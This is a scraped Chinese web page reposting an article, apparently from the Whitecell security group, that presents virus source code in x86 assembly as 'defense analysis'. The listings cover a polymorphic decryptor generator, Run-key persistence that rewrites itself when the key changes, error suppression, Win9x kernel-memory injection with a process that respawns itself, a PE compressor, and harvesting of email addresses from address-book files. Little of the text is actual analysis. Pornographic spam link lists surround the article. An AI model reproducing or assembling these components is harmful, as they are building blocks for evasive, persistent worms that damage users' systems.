久久天天躁狠狠躁夜夜躁2014_亚洲欧美日韩综合_热99精品里视频精品_亚洲男人天堂古典_日韩中文字幕在线免费观看_国产精品久久久久久av下载红粉_国产精品视频99_日韩免费视频在线观看_精品日本美女福利在线观看_亚洲第一男人天堂_亚洲护士老师的毛茸茸最新章节_成人做爽爽免费视频_亚洲a级在线观看_国产精品午夜国产小视频_日韩av免费在线播放_亚洲国产日韩欧美综合久久

首頁 > 編程 > Java > 正文

病毒源碼解析之防御分析

2019-09-06 23:33:18
字體:
來源:轉載
供稿:網友
1、超級病毒變形引擎

此段代碼會在DATA段內生成一個解密代碼。

.586p
.model flat,STDCALL
extrn ExitProcess: proc
VirusSize=100h
.data

DecodeMethod dd ?
DeCode:
pushad
call Encode
db 100h dup(11h)
Encode:
db 100h dup(0cch)
RndReg0 dd 0 ;eax
RndReg1 dd 0 ;ebx
RndCode dd 0 ;Rnd Code
RndMima dd 60932561 ;Rnd Password

.code
@@Start:
mov eax,RndMima
ror eax,7
mov RndCode,eax

mov eax,RndCode
mov ecx,eax
and eax,011b
mov RndReg0,eax
xor ecx,RndMima
and ecx,011b
cmp eax,ecx
jnz short ChooseRegOk
inc ecx
and ecx,011b
ChooseRegOk:
mov RndReg1,ecx


mov edi,offset Encode

ror RndCode,1
call GetBxCode,0,RndReg0,RndCode
mov esi,eax
ContFillStep0:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep0
dec edi

ror RndCode,1
call GetBxCode,1,RndReg1,RndCode
mov esi,eax
ContFillStep1:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep1
dec edi

mov ebx,edi ;//計算機Jmp指令用

ror RndCode,1
call GetBxCode,2,RndReg0,RndCode
mov esi,eax
ContFillStep2:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep2
dec edi

mov eax,RndMima
mov [edi-4],eax ;//填寫隨機密碼
mov eax,RndCode
and eax,01
mov DecodeMethod,eax ;//填寫DeCode方法

ror RndCode,1
call GetBxCode,3,RndReg0,RndCode
mov esi,eax
ContFillStep3:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep3
dec edi

ror RndCode,1
call GetBxCode,4,RndReg1,RndCode
mov esi,eax
ContFillStep4:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep4
dec edi

ror RndCode,1
call GetBxCode,5,RndReg0,RndCode
mov esi,eax
ContFillStep5:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep5
dec edi

mov al,0c3h
mov [edi],al ;//填寫Ret指令

sub ebx,edi
mov [edi-1],bl ;//填寫jmp指令

int 3;

jmp DeCode
ret
GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword
call GetBxCodeAddr
Step0_Eax:
mov eax,[esp]
int 3;
pop eax
push eax
int 3;
Step0_Ebx:
pop ebx
push ebx
int 3;
push dword ptr[esp]
pop ebx
int 3;
Step0_Ecx:
mov ecx,[esp]
int 3;
pop ecx
push ecx
int 3;
Step0_Edx:
mov edx,[esp]
int 3;
mov edx,esp
mov edx,[edx]
int 3

Step1_Eax:
mov eax,VirusSize
int 3
sub eax,eax
add ax,VirusSize+3081h
sub ax,3081h
int 3
Step1_Ebx:
mov ebx,VirusSize
int 3;
xor ebx,ebx
or bx,VirusSize
int 3;
Step1_Ecx:
sub ecx,ecx
xor ecx,(VirusSize xor 3181h)
xor ecx,(3181h)
int 3;
mov ecx,0
and cx,VirusSize
int 3
Step1_Edx:
and edx,0
xor dx,(VirusSize-0281h)
add dx,0281h
int 3;
xor edx,edx
sub edx,(0181h-VirusSize)
sub edx,-0181h
int 3;

Setp2_Eax:
xor [eax],12345678h
int 3
add [eax],12345678h
int 3
Setp2_Ebx:
xor [ebx],12345678h
int 3;
add [ebx],12345678h
int 3;

Setp2_Ecx:
xor [ecx],12345678h
int 3;
add [ecx],12345678h
int 3;
Setp2_Edx:
xor [edx],12345678h
int 3;
add [edx],12345678h
int 3;
Step3_Eax:
add eax,4
int 3
inc eax
inc eax
inc eax
inc eax
int 3;
Step3_Ebx:
add ebx,5
dec ebx
int 3
add ebx,2
add ebx,2
int 3;
Step3_Ecx:
sub ecx,-4
int 3
sub ecx,-5
dec ecx
int 3;
Step3_Edx:
inc edx
sub edx,-3
int 3
add edx,04
int 3;

Step4_Eax:
sub eax,4
int 3
dec eax
dec eax
dec eax
sub eax,1
int 3;
Step4_Ebx:
dec ebx
sub ebx,3
int 3;
dec ebx
dec ebx
sub ebx,2
int 3;
Step4_Ecx:
add cx,123
sub cx,123+4
int 3
sub cx,-4
dec cx
sub cx,7
int 3
Step4_Edx:
sub dx,2
dec dx
sub dx,1
int 3
inc edx
sub dx,5
int 3;
Step5_Eax:
jnz $
int 3
ja $
int 3
Step5_Ebx:
jg $
int 3
jnb $
int 3
Step5_Ecx:
jnl $
int 3
jnz $
int 3
Step5_Edx:
ja $
int 3
jg $
int 3

GetBxCodeAddr:
pop esi
mov al,0cch ;//指令分割符
mov ecx,Step
shl ecx,1
shl ecx,1
add ecx,Reg ;//計算機得到的指令位置
shl ecx,1
and Rnd,01b
add ecx,Rnd
jcxz short GetBxCodeOver
ContFindCode:
push ecx
ContFindCC:
inc esi
cmp [esi],al
jnz ContFindCC
pop ecx
loop ContFindCode
mov eax,esi
inc eax
ret
GetBxCodeOver:
mov eax,esi
ret
GetBxCode endp


end @@Start


2、Windows 9x/2000/xp 瑣定注冊表

.586p
.model flat,STDCALL
.data

HKeyStr db 'SOFTWAREMicrosoftWindowsCurrentVersionRun',0
ValueName db 'wap32',0
PathName db 'wap32.exe',0

.code

extrn RegOpenKeyA: proc
extrn RegSetValueExA: proc
extrn RegCloseKey: proc
extrn ExitProcess: proc
extrn RegNotifyChangeKeyValue: proc
extrn CreateThread: proc
extrn Sleep: proc
extrn RegQueryValueExA: proc

start:
push eax
call RegOpenKeyA,080000002h,offset HKeyStr,esp
pop ebx
call RegSetValueExA,ebx,offset ValueName,0,01,offset PathName,100h

sub esp,100h
mov eax,esp
push 100h
call RegQueryValueExA,ebx,offset ValueName,0,0,eax,esp
pop eax
add esp,100h

push eax
call CreateThread,0,0,offset RegProtectProc,ebx,0,esp
pop eax
call Sleep,1000*60*3
ret

RegProtectProc proc hKey:dword
mov ebx,hKey
sub esp,100h
mov edi,esp
call GetProtectKeyName
db 'wap32',0
GetProtectKeyName:
pop esi
push 100h
call RegQueryValueExA,ebx,esi,0,0,edi,esp
pop eax
WaitRegChangeNotify:
call RegNotifyChangeKeyValue,ebx,0,4,0,0
call RegSetValueExA,ebx,esi,0,01,edi,100h
jmp short WaitRegChangeNotify
RegProtectProc endp

end start



3、 Windows 9x/2000 意外處理通用程序


此段程序可以達到屏蔽程序錯誤的效果

include wap32.inc

.386p
.model flat,stdcall

extrn MessageBoxA: proc
extrn ExitProcess: proc

.data

Msg db 'Fuck',0

SetSehFrame: ;ecx=忽略錯誤繼續執行地址
pop eax ;彈出返回地址
push ecx ;保存忽略錯誤繼續執行地址
call PushExceptionProc
jmp short Exception
PushExceptionProc:
push fs:dword ptr[0]
mov fs:[0],esp
call GetEspAddr
push D [edx] ;保存原Esp地址值
mov [edx],esp
jmp eax
ClearSehFrame:
pop eax ;彈出返回地址
call GetEspAddr
mov esp,[edx]
pop D [edx] ;恢復原Esp地址值
pop fs:dword ptr[0]
pop ecx
pop ecx ;彈出忽略錯誤繼續執行地址
jmp eax

Exception proc pRecord,pFrame,pContext,pDispatch
call PushSehBackProc
call ClearSehFrame
jmp ecx
PushSehBackProc:
pop ecx
mov eax,pContext
mov [eax.cx_Eip],ecx
xor eax,eax ;忽略錯誤繼續執行
ret
Exception endp

GetEspAddr:
call PushOffsetEspAddr
dd ?
PushOffsetEspAddr:
pop edx
ret


.code

Start:
call PushErrorProc
call MessageBoxA,0,offset Msg,offset Msg,0
ret
PushErrorProc:
pop ecx
call SetSehFrame
mov ds:[0],eax
call ClearSehFrame
ret


end Start



4、Windows 9x 下進程不死術

此段程序首先實現Win9x下注射遠程線程(新技術)
然后與Win2k下進程不死術一樣了。
include Win32.inc

.386p
.model flat,stdcall

extrn GetProcAddress: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
extrn GetCurrentProcessId: proc
extrn OpenProcess: proc
extrn GetCurrentProcess: proc
extrn WriteProcessMemory: proc
extrn GetExitCodeProcess: proc

.data

;問題,要Sleep()這樣做使Kernel32有機會更新數據
KnlThread proc ProcID:dword
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
or eax,eax
jz short ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
call [eax],ebx,-1h
call GetFileNameAddress
GetFileNameAddress:
pop ecx
add ecx,offset FileName-offset GetFileNameAddress
call GetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
pop eax
call [eax],ecx,01
ExitProtectProc:
ret
KnlThread endp

FileName db 'c:wap32.exe',0

KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlWinExecStr db 'WinExec',0
KnlSleepStr db 'Sleep',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0

.code

Start:
call GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
call GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
call GetProcAddress,0bff70000h,offset KnlWinExecStr
mov KnlWinExec,eax

call MoveDataToKnl,offset Start,0bff70600h,100h

call GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
call ebx,0,0,0bff70000h+600h,eax,0,esp
pop eax
call MessageBoxA,0,offset FileName,offset FileName,0
ret

MoveDataToKnl proc uses ebx esi edi,Src:dword,Des:dword,nCx:dword
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb
popad
iret
SetIdt03:
cli
pop W[eax]
pop W[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3;
sti
ret
MoveDataToKnl endp

end Start


5、簡單算法,高效率壓縮PE文件

.586p
.model flat,STDCALL
.data

OldFile db 'pe.exe',0
NewFile db 'pe.zzz',0

FileData db 0,0
.code
extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _lclose: proc
extrn ExitProcess: proc
start:
call _lopen,offset OldFile,0
cmp eax,-1
jz ExitProc
mov esi,eax
call _lcreat,offset NewFile,0
cmp eax,-1
jz CloseOldFile
mov edi,eax

xor ebx,ebx
ReadData:
call _lread,esi,offset FileData,1
or eax,eax
jz short ReadOver
movzx eax,FileData
or eax,eax
jnz short NoZero
inc ebx
cmp ebx,0ffh
jnz short ReadData
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
jmp short ReadData
NoZero:
or ebx,ebx
jnz short NoZeroData
call _lwrite,edi,offset FileData,1
jmp short ReadData
NoZeroData:
push eax
xor eax,eax
mov ah,bl
mov word ptr FileData,ax
call _lwrite,edi,offset FileData,2
xor ebx,ebx
pop eax
mov FileData,al
call _lwrite,edi,offset FileData,1
jmp ReadData
ReadOver:
or ebx,ebx
jz short CloseFile
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
CloseFile:
call _lclose,edi
CloseOldFile:
call _lclose,esi
ExitProc:
call ExitProcess,0

end start

6、提取Windows地址薄文件(*.WAB)的Email信息

.586p
.model flat,STDCALL
.data

MailFile db 'My.WAB',0

.code

extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _llseek: proc
extrn _lclose: proc
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn WideCharToMultiByte: proc

start:
call _lopen,offset MailFile,0
cmp eax,-1
jz short ExitProc
mov ebx,eax
sub esp,100h
mov edi,esp
call _lread,ebx,edi,100h
cmp eax,100h
jnz short CloseFile
mov eax,[edi+60h] ;得到Unicode郵件名偏移
call _llseek,ebx,eax,0
mov ecx,[edi+64h] ;得到Unicode郵件名個數
ContWabMail:
push ecx
call _lread,ebx,edi,44h ;讀一個記錄
cmp eax,44
sub esp,100h
mov eax,esp
call WideCharToMultiByte,0,200h,edi,-1,eax,100h,0,0
mov eax,esp
call MessageBoxA,0,eax,eax,0
add esp,100h
pop ecx
loop short ContWabMail
CloseFile:
call _lclose,ebx
ExitProc:
call ExitProcess,0

end start



WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力于各種系統安全技術的研究。堅持傳統的hacker精神,追求技術的精純。
WSS 主頁:http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forum/
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
久久天天躁狠狠躁夜夜躁2014_亚洲欧美日韩综合_热99精品里视频精品_亚洲男人天堂古典_日韩中文字幕在线免费观看_国产精品久久久久久av下载红粉_国产精品视频99_日韩免费视频在线观看_精品日本美女福利在线观看_亚洲第一男人天堂_亚洲护士老师的毛茸茸最新章节_成人做爽爽免费视频_亚洲a级在线观看_国产精品午夜国产小视频_日韩av免费在线播放_亚洲国产日韩欧美综合久久
<sup id="aa8kk"><samp id="aa8kk"></samp></sup>
<strike id="aa8kk"></strike>

<fieldset id="aa8kk"><table id="aa8kk"></table></fieldset>
<strike id="aa8kk"></strike>
  • 国产有码在线一区二区视频| 一区二区视频免费完整版观看| 在线中文字幕日韩| 国产精品一区在线播放| 樱桃成人精品视频在线播放| 国产精品羞羞答答| 欧美性猛交99久久久久99按摩| 国产一区二区三区成人欧美日韩在线观看| 久久一区二区视频| 国产欧美在线视频| 99精品视频一区二区三区| 欧美人与禽猛交乱配视频| 亚洲视频在线一区观看| 欧美+亚洲+精品+三区| 国产视频久久久久| 国产婷婷成人久久av免费高清| 欧美三级黄美女| 国产精品自在欧美一区| 午夜一区不卡| 亚洲综合丁香| 国产欧美欧洲在线观看| 欧美一区国产二区| 亚洲精品1区2区| 国产视频观看一区| 狼人社综合社区| 亚洲经典一区| 欧美一区二区三区在线免费观看| 欧美成人免费播放| 久久久久久久久久久久久女国产乱| 欧美母乳在线| 夜夜爽av福利精品导航| 国产精品久久网| 136国产福利精品导航| 久久成人精品一区二区三区| 亚洲国产一区二区三区青草影视| 亚洲午夜一级| 国产精品www994| 亚洲欧洲一区二区三区久久| 在线综合欧美| 欧美一区三区二区在线观看| 国产精品女人久久久久久| 久久精品国产一区二区电影| 欧美午夜精彩| 日韩亚洲精品在线| 久久成人这里只有精品| 亚洲精品极品| 亚洲精品美女在线观看播放| 激情亚洲成人| 在线观看欧美成人| 欧美一区1区三区3区公司| 欧美精品亚洲一区二区在线播放| 欧美日韩亚洲一区二区三区在线观看| 在线视频日韩精品| 亚洲——在线| 老司机精品导航| 一区在线视频观看| 136国产福利精品导航网址| 欧美综合77777色婷婷| 老牛国产精品一区的观看方式| 欧美三级午夜理伦三级中视频| 在线亚洲激情| 欧美一区二区三区在线免费观看| 久久精品国内一区二区三区| 欧美片在线播放| 国产午夜精品理论片a级大结局| 欧美韩日一区| 欧美视频在线观看免费| 猛干欧美女孩| 欧美与黑人午夜性猛交久久久| 一二美女精品欧洲| 亚洲视频免费看| 亚洲欧美综合国产精品一区| 免费日韩av| 欧美一级久久久| 亚洲女爱视频在线| 亚洲制服丝袜在线| 欧美精品v国产精品v日韩精品| 麻豆精品在线视频| 国产一区二区观看| 精品成人一区二区三区四区| 亚洲精品在线视频观看| 久久久久九九视频| 亚洲国产另类精品专区| 红桃视频一区| 夜夜嗨av一区二区三区网页| 亚洲国产精品悠悠久久琪琪| 猛干欧美女孩| 亚洲一区二区三区三| 国产精品国产三级欧美二区| 欧美成人午夜激情视频| 久久精品导航| 一本色道久久综合狠狠躁的推荐| 国产精品一区二区久激情瑜伽| 亚洲成人在线视频网站| 久久女同互慰一区二区三区| 国产日韩一级二级三级| 欧美日韩综合网| 伊人久久大香线蕉综合热线| 欧美一级久久久久久久大片| 午夜精品成人在线| 欧美日韩免费观看一区| 欧美日韩一区二区三区免费| 91久久精品国产| 一本色道久久综合亚洲精品高清| 亚洲精品视频免费| 亚洲视频一区二区在线观看| 宅男噜噜噜66一区二区66| 欧美视频日韩视频在线观看| 在线观看欧美视频| 久久疯狂做爰流白浆xx| 欧美女同在线视频| 国产精品videosex极品| 韩国免费一区| 国产伦精品一区二区三区高清| 欧美色欧美亚洲另类七区| 欧美伦理影院| 亚洲影院高清在线| 午夜精品福利视频| 久久久久久久波多野高潮日日| 久久gogo国模裸体人体| 久久精品免费播放| 一本久久a久久精品亚洲| aa国产精品| 玖玖国产精品视频| 韩国美女久久| 午夜精品久久久久久99热软件| 国内精品视频在线观看| 亚洲一区二区三| 久久黄色级2电影| 国产精品综合| 国产人成精品一区二区三| 欧美精品一区二区三区高清aⅴ| 先锋影音国产精品| 欧美丝袜第一区| 国产一区欧美| 亚洲日本中文字幕| 国产一区二区三区电影在线观看| 国产精品久久久999| 激情久久婷婷| 国产日韩高清一区二区三区在线| 亚洲人成啪啪网站| 在线观看欧美视频| 久久免费午夜影院| 亚洲国产美女久久久久| 亚洲日本一区二区三区| 久久国产精品一区二区三区| 国产欧美 在线欧美| 久久爱91午夜羞羞| 一本大道久久a久久综合婷婷| 韩日成人在线| 国产毛片精品国产一区二区三区| 亚洲第一主播视频| 亚洲品质自拍| 亚洲国产成人av| 亚洲国产精品女人久久久| 欧美亚州一区二区三区| 精品91在线| 91久久极品少妇xxxxⅹ软件| 欧美一级黄色录像| 亚洲欧洲av一区二区| 亚洲欧美激情一区| 国产精品三级久久久久久电影| 欧美一二三视频| 欧美日韩直播| 国产乱码精品一区二区三区忘忧草| 欧美v国产在线一区二区三区| 免费久久99精品国产自在现线| 欧美精品一区二区三区一线天视频| 欧美三级第一页| 久久国产乱子精品免费女| 国内一区二区三区| 久久一区欧美| 国产精品成人一区二区艾草| 性欧美8khd高清极品| 亚洲国内在线| 欧美日韩在线高清| 国产精品久久久久9999| 新67194成人永久网站| 欧美亚洲色图校园春色| 狠狠色丁香婷综合久久| 美女精品自拍一二三四| 国产欧美日韩精品专区| 欧美国产一区二区在线观看| 欧美精品二区三区四区免费看视频| 暖暖成人免费视频| 午夜宅男欧美| 欧美日韩一区二区在线视频| 国产一区999| 国产日韩欧美成人| 韩国av一区二区三区四区| 老司机精品视频一区二区三区| 在线观看成人小视频| 亚洲韩国日本中文字幕| 国产欧美一区二区三区沐欲| 国产精品日本| 好看的日韩视频| 在线欧美日韩精品| 日韩特黄影片| 欧美另类极品videosbest最新版本| 午夜精品在线观看| 国产精品国产三级国产普通话蜜臀| 亚洲成人在线| 亚洲第一狼人社区| 久久免费午夜影院| 日韩写真在线| 欧美成人精品不卡视频在线观看| 亚洲激情二区| 在线成人小视频| 国产精品网站在线| 黄色精品一二区| 国产精品网站在线观看| 一区二区三区中文在线观看| 国产精品久在线观看| 免费在线成人| 99热在线精品观看| 在线观看日韩一区| 欧美精品日韩www.p站| 亚洲美女中文字幕| 国产一区在线免费观看| 日韩午夜剧场| 欧美国产丝袜视频| 99一区二区| 亚洲无限av看| 久久综合婷婷| 黄色影院成人| 亚洲宅男天堂在线观看无病毒| 亚洲自拍三区| 亚洲高清久久网| 99视频一区二区| 国产精品sss| 亚洲美女精品一区| 欧美多人爱爱视频网站| 久久亚洲精品伦理| 欧美—级a级欧美特级ar全黄| 亚洲国产视频直播| 伊人久久大香线蕉av超碰演员| 亚洲欧美日韩中文播放| 亚洲性图久久| 久久久国产精彩视频美女艺术照福利| 国产精品视频大全| 国产在线不卡| 国产亚洲精品一区二区| 欧美成人中文字幕在线| 欧美午夜片欧美片在线观看| 久久精品成人一区二区三区| 欧美三级电影大全| 久久久久久尹人网香蕉| 国产精品v欧美精品v日韩精品| 欧美一区二区三区四区在线观看| 久久美女艺术照精彩视频福利播放| 亚洲肉体裸体xxxx137| 欧美激情精品久久久六区热门| 亚洲激情视频网站| 羞羞视频在线观看欧美| 久久久亚洲午夜电影| 欧美国产精品v| 欧美日韩激情小视频| 99视频精品全部免费在线| 亚洲精品乱码久久久久久按摩观| 欧美日韩网站| 欧美日韩国产精品成人| 欧美日韩高清在线播放| 国产精品欧美久久久久无广告| 欧美成人激情视频| 欧美日韩伦理在线免费| 国产自产2019最新不卡| 夜夜嗨av一区二区三区网站四季av| 亚洲电影视频在线| 久热国产精品视频| 伊人久久大香线蕉综合热线| 亚洲一区欧美| 国产精品女同互慰在线看| 亚洲精品久久久久久一区二区| 久久精品亚洲一区| 欧美国产精品人人做人人爱| 尤物99国产成人精品视频| 午夜免费在线观看精品视频| 亚洲国产综合在线看不卡| 久久中文久久字幕| 国产美女精品视频| 久久国产加勒比精品无码| 国产欧亚日韩视频| 国产精品久久久久久久第一福利| 一区二区三区四区五区精品| 久久激情中文| 欧美国产高清| 国产精品一区二区欧美| 蜜臀久久99精品久久久久久9| 欧美四级剧情无删版影片| 亚洲电影一级黄| 欧美激情视频一区二区三区在线播放| 亚洲一区二区三区中文字幕| 亚洲精品美女在线观看播放| 久久―日本道色综合久久| 日韩一级大片在线| 最新日韩在线视频| 欧美日韩久久不卡| 亚洲伊人一本大道中文字幕| 亚洲婷婷综合久久一本伊一区| 老司机午夜精品视频| 欧美视频中文一区二区三区在线观看| 亚洲毛片在线观看.| 国产精品国产三级国产aⅴ入口| 在线综合+亚洲+欧美中文字幕| 亚洲一区二区久久| 一本色道久久综合狠狠躁篇怎么玩| 国产精品视频一区二区三区| 亚洲男人的天堂在线aⅴ视频| 欧美精品久久久久久久久老牛影院| 国产在线视频不卡二| 久久精品亚洲精品国产欧美kt∨| 在线观看成人av电影| 国产欧美日韩在线观看| 久久丁香综合五月国产三级网站| 欧美精品手机在线| 欧美一级一区| 久久国产精品高清| 免费观看在线综合色| 亚洲第一精品影视| 欧美日韩亚洲一区二区三区在线| 国产精品美女午夜av| 欧美一区二区啪啪| 亚洲欧美日韩国产综合在线| 亚洲精品1区2区| 欧美日韩a区| 妖精成人www高清在线观看| 久久久亚洲国产天美传媒修理工| 欧美日韩 国产精品|